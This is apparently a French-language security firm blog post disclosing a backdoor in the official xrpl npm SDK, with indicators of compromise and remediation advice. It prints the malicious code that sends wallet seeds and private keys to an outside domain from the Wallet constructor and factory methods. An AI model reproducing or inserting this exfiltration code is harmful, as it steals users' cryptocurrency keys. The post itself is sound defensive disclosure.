Aikido

Attaque de la chaîne d'approvisionnement XRP : un package NPM officiel infecté par une porte dérobée de vol de crypto-monnaie

Charlie EriksenCharlie Eriksen
|
#
#

Le 21 avril, à 20h53 GMT+0, notre système, Aikido Intel, a commencé à nous alerter sur cinq nouvelles versions du package xrpl. Il s'agit du SDK officiel pour le XRP Ledger, avec plus de 140 000 téléchargements hebdomadaires. Nous avons rapidement confirmé que le package NPM officiel XPRL (Ripple) avait été compromis par des attaquants sophistiqués qui y avaient inséré une porte dérobée pour voler des clés privées de cryptomonnaies et accéder à des portefeuilles de cryptomonnaies. Ce package est utilisé par des centaines de milliers d'applications et de sites web, ce qui en fait une attaque de la chaîne d'approvisionnement potentiellement catastrophique pour l'écosystème des cryptomonnaies.

Ceci est une analyse technique de la façon dont nous avons découvert l'attaque.

Le package xrpl sur npm

Nouveaux packages publiés

L'utilisateur mukulljangid avait publié cinq nouvelles versions de la bibliothèque à partir du 21 avril, 20:53 GMT+0 :

Packages malveillants

Ce qui est intéressant, c'est que ces versions ne correspondent pas aux versions officielles telles que vues sur GitHub, où la dernière version est 4.2.0:

La dernière version GitHub au moment de la publication des packages.

Le fait que ces packages soient apparus sans version correspondante sur GitHub est très suspect.

Le code mystérieux

Notre système a détecté du code suspect dans ces nouveaux packages. Voici ce qu'il a identifié dans le src/index.ts fichier dans la version 4.2.4 (Qui est étiqueté comme dernière) :

export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}

Tout semble normal jusqu'à la fin. Qu'est-ce que c'est ? checkValidityOfSeed fonction ? Et pourquoi appelle-t-elle un domaine aléatoire nommé 0x9c[.]xyz? Plongeons dans le terrier du lapin !

Quel est le domaine ?

Nous avons d'abord examiné le domaine pour déterminer s'il pouvait être légitime. Nous avons consulté ses détails whois :

Informations Whois pour 0x9c[.]xyz

Ce n'est pas bon signe. C'est un tout nouveau domaine. Très suspect.

Que fait le code ?

Le code lui-même ne fait que définir une méthode, mais il n'y a pas d'appels immédiats à celle-ci. Nous avons donc cherché à savoir si elle était utilisée quelque part. Et oui, c'est le cas !

Résultats de recherche pour la fonction malveillante

Nous le voyons être appelé dans des fonctions comme le constructeur pour le Portefeuille classe (src/Wallet/index.ts, dérobant les clés privées dès qu'un objet Wallet est instancié :

 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }

Et ces fonctions :

  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }
 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
 
public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }
 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }

Pourquoi tant de mises à jour de version ?

En examinant ces packages, nous avons noté que les deux premiers packages publiés (4.2.1 et 4.2.2) étaient différentes des autres. Nous avons effectué un diff à 3 voies sur les versions 4.2.0 (Ce qui est légitime), 4.2.1, et 4.2.2 pour comprendre ce qui se passait. Voici ce que nous avons observé :

  • À partir de 4.2.1, le scripts et prettier la configuration a été supprimée du package.json
  • La première version à insérer du code malveillant dans src/Wallet/index.js était 4.2.2.
  • Les deux 4.2.1 et 4.2.2 contenait un élément malveillant build/xrp-latest-min.js et build/xrp-latest.js.

Si nous comparons 4.2.2 à 4.2.3 et 4.2.4, nous constatons davantage de modifications malveillantes. Auparavant, seul le code JavaScript packagé avait été modifié. Celles-ci incluaient également les modifications malveillantes apportées à la version TypeScript du code.

  • Le code précédemment affiché se transforme en src/index.ts.
  • La modification de code malveillante vers src/Wallet/index.ts.
  • Au lieu que le code malveillant ait été inséré manuellement dans les fichiers compilés, la backdoor insérée dans index.ts est appelé. 

À partir de là, nous pouvons constater que l'attaquant travaillait activement sur l'attaque, essayant différentes manières d'insérer la backdoor tout en restant aussi discret que possible. Passant de l'insertion manuelle de la backdoor dans le code JavaScript compilé, à son insertion dans le code TypeScript, puis à sa compilation dans la version finale.

Aikido Intel

Ce malware a été détecté par Aikido Intel, le flux de menaces public d'Aikido qui utilise des LLM pour surveiller les gestionnaires de packages publics comme NPM afin d'identifier l'ajout de code malveillant à des packages nouveaux ou existants. Si vous souhaitez être protégé contre les malwares et les vulnérabilités non divulguées, vous pouvez vous abonner au flux de menaces Intel ou vous inscrire à Aikido Security

Indicateurs de compromission 

Pour déterminer si vous avez pu être compromis, voici les indicateurs que vous pouvez utiliser :

Nom du package

  • xrpl

Versions du package

Vérifiez votre package.json et package-lock.json pour ces versions :

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

Faites attention si vous aviez le package comme dépendance qui n'était pas corrigé avec un fichier de verrouillage de package, ou si vous utilisiez un spécification de version approximative/compatible comme ~4.2.0 ou ^4.2.0, à titre d'exemples.

Si vous pensez avoir installé l'un des paquets ci-dessus entre le 21 avril, 20:53 GMT+0 et le 22 avril, 13:00 GMT+0, vérifiez vos journaux réseau pour détecter les connexions sortantes vers l'hôte suivant :

Domaine

  • 0x9c[.]xyz

Correction

Si vous pensez avoir été impacté, il est important de considérer que toute graine ou clé privée traitée par le code a été compromise. Ces clés ne devraient plus être utilisées, et tous les actifs qui leur sont associés devraient être transférés immédiatement vers un autre portefeuille/clé. Depuis la divulgation du problème, l'équipe xrpl a publié deux nouvelles versions pour remplacer les paquets compromis :

  • 4.2.5
  • 2.14.3
4.7/5

Sécurisez votre logiciel dès maintenant.

Essai gratuit
Sans CB
Planifiez une démo
Vos données ne seront pas partagées - Accès en lecture seule - Pas de CB nécessaire

Sécurisez-vous maintenant.

Sécuriser votre code, votre cloud et votre runtime dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Pas de carte de crédit requise | Résultats du scan en 32 secondes.